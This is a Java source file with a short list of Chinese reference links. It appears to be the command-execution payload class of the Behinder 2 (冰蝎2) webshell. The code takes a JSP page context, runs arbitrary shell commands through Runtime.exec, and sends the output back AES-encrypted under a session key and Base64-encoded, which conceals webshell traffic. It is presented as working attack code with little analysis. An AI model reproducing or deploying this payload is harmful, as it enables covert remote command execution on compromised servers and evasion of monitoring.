import java.util.Map;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
import javax.servlet.jsp.PageContext;

public class Cmd {
    public static String cmd = "ls";
    private ServletRequest Request;
    private ServletResponse Response;
    private HttpSession Session;

    public boolean equals(Object obj) {
        PageContext page = (PageContext) obj;
        this.Session = page.getSession();
        this.Response = page.getResponse();
        this.Request = page.getRequest();
        page.getResponse().setCharacterEncoding("UTF-8");
        Map<String, String> result = new HashMap<>();
        try {
            result.put("msg", RunCMD(cmd));
            result.put("status", "success");
            try {
                ServletOutputStream so = this.Response.getOutputStream();
                so.write(Encrypt(buildJson(result, true).getBytes("UTF-8")));
                so.flush();
                so.close();
                page.getOut().clear();
            } catch (Exception e) {
                e.printStackTrace();
            }
        } catch (Exception e2) {
            result.put("msg", e2.getMessage());
            result.put("status", "success");
            try {
                ServletOutputStream so2 = this.Response.getOutputStream();
                so2.write(Encrypt(buildJson(result, true).getBytes("UTF-8")));
                so2.flush();
                so2.close();
                page.getOut().clear();
            } catch (Exception e3) {
                e3.printStackTrace();
            }
        } catch (Throwable th) {
            try {
                ServletOutputStream so3 = this.Response.getOutputStream();
                so3.write(Encrypt(buildJson(result, true).getBytes("UTF-8")));
                so3.flush();
                so3.close();
                page.getOut().clear();
            } catch (Exception e4) {
                e4.printStackTrace();
            }
            throw th;
        }
        return true;
    }

    private String RunCMD(String cmd2) throws Exception {
        Process p;
        Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
        if (cmd2 == null || cmd2.length() <= 0) {
            return "";
        }
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
            p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd2});
        } else {
            p = Runtime.getRuntime().exec(cmd2);
        }
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
        String disr = br.readLine();
        String result = "";
        while (disr != null) {
            String result2 = String.valueOf(result) + disr + "\n";
            disr = br.readLine();
            result = result2;
        }
        return new String(result.getBytes(osCharset));
    }

    private byte[] Encrypt(byte[] bs) throws Exception {
        SecretKeySpec skeySpec = new SecretKeySpec(this.Session.getAttribute("u").toString().getBytes("utf-8"), "AES");
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, skeySpec);
        return cipher.doFinal(bs);
    }

    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        for (String key : entity.keySet()) {
            sb.append("\"" + key + "\":\"");
            String value = entity.get(key).toString();
            if (encode) {
                if (version.compareTo("1.9") >= 0) {
                    getClass();
                    Class Base64 = Class.forName("java.util.Base64");
                    Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
                    value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                } else {
                    getClass();
                    Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
                    value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", "");
                }
            }
            sb.append(value);
            sb.append("\",");
        }
        if (sb.toString().endsWith(",")) {
            sb.setLength(sb.length() - 1);
        }
        sb.append("}");
        return sb.toString();
    }
}

参考文章
冰蝎2:
https://mp.weixin.qq.com/s/Zp_dIEwvyF52wpJhd8AaFQ
https://xz.aliyun.com/t/7606

码农公寓

冰蝎2